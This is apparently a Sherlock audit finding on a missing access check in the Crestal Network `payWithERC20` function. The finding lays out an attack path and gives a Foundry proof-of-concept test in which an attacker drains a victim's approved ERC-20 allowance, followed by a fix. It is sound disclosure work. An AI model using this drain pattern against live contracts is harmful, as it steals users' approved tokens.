Funny Sepia Buffalo

High

# [H-01] - Missing Access Control in `payWithERC20` Allows Unauthorized Token Transfers Leading to Theft of User-Approved Funds

### Summary

The lack of access control and authorization in the `payWithERC20` function inside the `Payment` contract will cause direct loss of funds for users who have approved any contract inheriting the `Payment` contract to spend their ERC-20 tokens as an attacker will exploit this to transfer approved tokens to themselves without the user’s consent.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L23C1-L32C6

----------------------------

Contracts in Scope affected by this issue:
- `BlueprintV5`
- `Blueprint`
- `BlueprintCore`
- `Payment`

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/e2487a08-58c1-4a39-a3ab-bc65d06b455b)

### Root Cause

In `Payment.sol`, the `payWithERC20` function is public and lacks any checks to ensure that the caller (`msg.sender`) is authorized to initiate a transfer from the specified `fromAddress`. This allows any caller to transfer tokens from a user who has approved the contract, as long as the allowance exists.

### Internal Pre-conditions

1. A user (the victim) needs to call the ERC-20 token’s `approve` function to set the allowance for the `BlueprintV5` contract to be at least a positive value (greater than zero).
2. There needs to be a short window of exploitation where the user has 'approved' the contract to spend tokens, but  has not spent their tokens yet

### External Pre-conditions

N.A.

### Attack Path

1. The victim approves the `BlueprintV5` contract to spend a certain amount of their standard ERC-20 token 
2. The attacker identifies the victim’s address and approved amount by querying the token’s `allowance` function or monitoring `Approval` events on the blockchain.
3. The attacker calls `payWithERC20` on the `BlueprintV5` contract, specifying the ERC20 token address, the amount to transfer (up to the victims approved amount), the victim’s address as `fromAddress`, and the attacker’s address as `toAddress`.
4. The `payWithERC20` function executes `token.safeTransferFrom(fromAddress, toAddress, amount)`, transferring the tokens from the victim to the attacker.

### Impact

The victim suffers an approximate loss of 100% of tokens approved for the `BlueprintV5` contract to spend. The attacker gains this amount, effectively stealing the tokens from the victim.

---------------------------------------------------

Trust in the protocol may be lost as this attack is scalable:
- Multiple core contracts inherit the public vulnerable function
- Attackers can easily identify victims by monitoring Approval events on the blockchain or querying the allowance function. With automated tools (e.g. bots or block explorers), this process is scalable and near-instantaneous
- None of these core contracts are pausable, so the attacker can rinse and repeat
- Many users approve contracts for dApps, often leaving allowances active indefinitely, especially if unaware of the risks

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";

// Mock to simulate ETH
contract MockETH is IERC20 {
    using SafeERC20 for IERC20;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string public name = "Mock ETH";
    string public symbol = "METH";
    uint8 public decimals = 18;

    function mint(address to, uint256 amount) public {
        _totalSupply += amount;
        _balances[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_balances[msg.sender] >= amount, "Insufficient balance");
        _balances[msg.sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: insufficient allowance");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");
        _allowances[sender][msg.sender] -= amount;
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external pure returns (uint256) {
        return 0; // ommitted (not used)
    }

}

contract StealAllowancePocTest is Test {
    MockETH public token;
    BlueprintV5 public blueprintV5;
    address public alice = address(0x1);       // --- Victim ---
    address public anonHacker = address(0x2);  // -- Attacker --
    uint256 public constant VICTIMS_APPROVED_AMOUNT = 10 ether; // 10 ETH worth of tokens

    function setUp() public {
        // Deploy the mock token and BlueprintV5 contract
        token = new MockETH();
        blueprintV5 = new BlueprintV5();

        // Mint 10 ETH worth of tokens to Alice
        token.mint(alice, 10 ether);

        // Simulate Alice approving the BlueprintV5 contract to spend 10 ETH
        vm.prank(alice); // Impersonate Alice
        token.approve(address(blueprintV5), VICTIMS_APPROVED_AMOUNT);
    }

    function testExploit() public {
        // Log initial balances
        uint256 aliceInitialBalance = token.balanceOf(alice);
        uint256 hackerInitialBalance = token.balanceOf(anonHacker);
        emit log_named_uint("Alice's initial balance", aliceInitialBalance);
        emit log_named_uint("AnonHacker's initial balance", hackerInitialBalance);
        assertEq(aliceInitialBalance, 10 ether, "Alice should start with 10 ETH");
        assertEq(hackerInitialBalance, 0, "Hacker should start with 0 ETH");

        // -------------------------------------------------------------------------- //
        //  --- AnonHacker exploits the vulnerability in the BlueprintV5 contract --- //
        // -------------------------------------------------------------------------- //
        vm.prank(anonHacker); // Impersonate AnonHacker
        blueprintV5.payWithERC20(
            address(token),             // ERC20 Token address
            VICTIMS_APPROVED_AMOUNT,    // Amount to steal (10 ETH)
            alice,                      // From Alice
            anonHacker                  // To AnonHacker
        );

        // Log and verify final balances
        uint256 aliceFinalBalance = token.balanceOf(alice);
        uint256 hackerFinalBalance = token.balanceOf(anonHacker);
        emit log_named_uint("Alice's final balance", aliceFinalBalance);
        emit log_named_uint("AnonHacker's final balance", hackerFinalBalance);
        assertEq(aliceFinalBalance, 0 ether, "Alice should have 0 ETH left");
        assertEq(hackerFinalBalance, 10 ether, "Hacker should have stolen 10 ETH from Alice");
    }
}
```

### Mitigation

Change `payWithERC20` to `internal` or `private` and ensure it’s only called from functions with proper authorization checks.

```diff
-    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
+    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) internal {

```
